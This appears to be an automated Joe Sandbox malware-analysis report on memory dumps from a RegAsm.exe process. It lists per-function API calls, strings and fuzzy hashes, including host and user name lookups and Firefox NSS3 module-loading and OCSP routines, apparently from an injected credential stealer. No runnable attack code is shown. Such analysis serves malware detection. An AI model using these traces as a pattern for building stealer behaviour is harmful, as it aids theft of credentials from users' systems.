Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004188D0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction ID: 18df4f3d1847af864b4cf5612dd8d404a1e3ff34582bf4e0d6244d1823b45961
Opcode Fuzzy Hash: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction Fuzzy Hash: B301FBB491420CEBCB14CF98D585BEC7BB5EF04308F248089D9456B350C7785F84DB4A

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410599,?,?), ref: 004098D8

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6BFE6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C132120,6BFE7E60), ref: 6BFE6EBC
TlsGetValue.KERNEL32 ref: 6BFE6EDF
EnterCriticalSection.KERNEL32(?), ref: 6BFE6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6BFE6F25

Part of subcall function 6BFBA900: TlsGetValue.KERNEL32(00000000,?,6C1314E4,?,6BF54DD9), ref: 6BFBA90F
Part of subcall function 6BFBA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6BFBA94F

PR_Unlock.NSS3 ref: 6BFE6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6BFE6FA9
TlsGetValue.KERNEL32 ref: 6BFE70B4
EnterCriticalSection.KERNEL32(?), ref: 6BFE70C8
PR_CallOnce.NSS3(6C1324C0,6C027590), ref: 6BFE7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BFE7117
SECOID_Init.NSS3 ref: 6BFE7128
PORT_Alloc_Util.NSS3(00000057), ref: 6BFE714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE71A9
PR_NotifyAllCondVar.NSS3 ref: 6BFE71CF
PR_Unlock.NSS3 ref: 6BFE71DD
free.MOZGLUE(?), ref: 6BFE71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BFE7208
free.MOZGLUE(00000000), ref: 6BFE7221
free.MOZGLUE(00000001), ref: 6BFE7235
TlsGetValue.KERNEL32 ref: 6BFE724A
EnterCriticalSection.KERNEL32(?), ref: 6BFE725E
PR_NotifyCondVar.NSS3 ref: 6BFE7273
PR_Unlock.NSS3 ref: 6BFE7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6BFE7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFE7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C120148,,defaultModDB,internalKeySlot), ref: 6BFE74CC
free.MOZGLUE(00000000), ref: 6BFE7513
free.MOZGLUE(00000000), ref: 6BFE751B
free.MOZGLUE(00000000), ref: 6BFE7528
free.MOZGLUE(00000000), ref: 6BFE753C
free.MOZGLUE(00000000), ref: 6BFE7550
free.MOZGLUE(00000000), ref: 6BFE7561
free.MOZGLUE(00000000), ref: 6BFE7572
free.MOZGLUE(00000000), ref: 6BFE7583
free.MOZGLUE(00000000), ref: 6BFE7594
free.MOZGLUE(00000000), ref: 6BFE75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6BFE75BD
free.MOZGLUE(00000000), ref: 6BFE75C8
free.MOZGLUE(00000000), ref: 6BFE75F1
PR_NewLock.NSS3 ref: 6BFE7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6BFE7686
PR_NewLock.NSS3 ref: 6BFE76A2

Part of subcall function 6C0998D0: calloc.MOZGLUE(00000001,00000084,6BFC0936,00000001,?,6BFC102C), ref: 6C0998E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6BFE76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6BFE7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6BFE771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6BFE7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6BFE774A
DeleteCriticalSection.KERNEL32(?), ref: 6BFE7770
free.MOZGLUE(?), ref: 6BFE7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BFE779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BFE77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6BFE77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BFE77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6BFE7821
PORT_Alloc_Util.NSS3(?), ref: 6BFE7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6BFE785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BFE786F
SECMOD_AddNewModuleEx.NSS3 ref: 6BFE78AC
free.MOZGLUE(00000000), ref: 6BFE78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6BFE78F3
free.MOZGLUE(00000000), ref: 6BFE78FC
free.MOZGLUE(00000000), ref: 6BFE791C

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Strings

extern:, xrefs: 6BFE772B
NSS Internal Module, xrefs: 6BFE74A2, 6BFE74C6
dll, xrefs: 6BFE788E
kbi., xrefs: 6BFE7886
rdb:, xrefs: 6BFE7744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6BFE74C7
,defaultModDB,internalKeySlot, xrefs: 6BFE748D, 6BFE74AA
dbm:, xrefs: 6BFE7716
sql:, xrefs: 6BFE76FE
Spac, xrefs: 6BFE7389

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: b37dd80e2253fc6f2f815bc04029f4a3f299e2b2d0c0371f8dd5e8652f5374ce
Instruction ID: ffe1cdc44a1a169da01c0602f5845c430997eb86f66fc0d1d5ebd5510775dacc
Opcode Fuzzy Hash: b37dd80e2253fc6f2f815bc04029f4a3f299e2b2d0c0371f8dd5e8652f5374ce
Instruction Fuzzy Hash: 0852D6B2E00305BBEF119F64DD057AA7BF4AF06308F044068ED19A7262E779E955CBE1

Function 6BFDEA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6BFDEAB1

Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990AB
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990C9
Part of subcall function 6C099090: EnterCriticalSection.KERNEL32 ref: 6C0990E5
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C099116
Part of subcall function 6C099090: LeaveCriticalSection.KERNEL32 ref: 6C09913F

PR_ExitMonitor.NSS3 ref: 6BFDEAC5

Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C09945B
Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C099479
Part of subcall function 6C099440: EnterCriticalSection.KERNEL32 ref: 6C099495
Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C0994E4
Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C099532
Part of subcall function 6C099440: LeaveCriticalSection.KERNEL32 ref: 6C09955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6BFDEBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6BFDEBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6BFDEC20
PORT_Alloc_Util.NSS3(00000800), ref: 6BFDEC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6BFDEC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6BFDEC85
free.MOZGLUE(?), ref: 6BFDECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6BFDECCF
free.MOZGLUE(?), ref: 6BFDED10
free.MOZGLUE(?), ref: 6BFDED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6BFDED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6BFDED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6BFDEDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFDEDBE
free.MOZGLUE(00000000), ref: 6BFDEE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6BFDEEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFDEEC0
free.MOZGLUE(00000000), ref: 6BFDEEE2
free.MOZGLUE(00000000), ref: 6BFDEEF2
free.MOZGLUE(?), ref: 6BFDEF15
free.MOZGLUE(?), ref: 6BFDEF27
realloc.MOZGLUE(00000000,-00000401), ref: 6BFDEF5C

Part of subcall function 6BFDE910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6BFDE93B
Part of subcall function 6BFDE910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6BFDE94E

strstr.VCRUNTIME140(-000000F8,), ref: 6BFDF00C
strstr.VCRUNTIME140(00000000,6C12010D), ref: 6BFDF03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6BFDF055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6BFDF06D
free.MOZGLUE(00000000), ref: 6BFDF07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6BFDF08A
strchr.VCRUNTIME140(?,00000020), ref: 6BFDF0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6BFDF0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6BFDF0FA
strstr.VCRUNTIME140(-00000002,6C12010D), ref: 6BFDF124
PL_strcasecmp.NSS3(?,content-type), ref: 6BFDF13D
PL_strcasecmp.NSS3(?,content-length), ref: 6BFDF14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6BFDF15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6BFDF1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6BFDF1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6BFDF231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6BFDF387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6BFDF39C
free.MOZGLUE(00000000), ref: 6BFDF3A5
free.MOZGLUE(00000000), ref: 6BFDF3B1

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

Strings

http, xrefs: 6BFDEB86
content-type, xrefs: 6BFDF137
HTTP/, xrefs: 6BFDF067
application/ocsp-response, xrefs: 6BFDF19A
POST, xrefs: 6BFDEB58, 6BFDEB81
content-length, xrefs: 6BFDF149
application/ocsp-request, xrefs: 6BFDEE25
200, xrefs: 6BFDF0BB
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6BFDEDA6
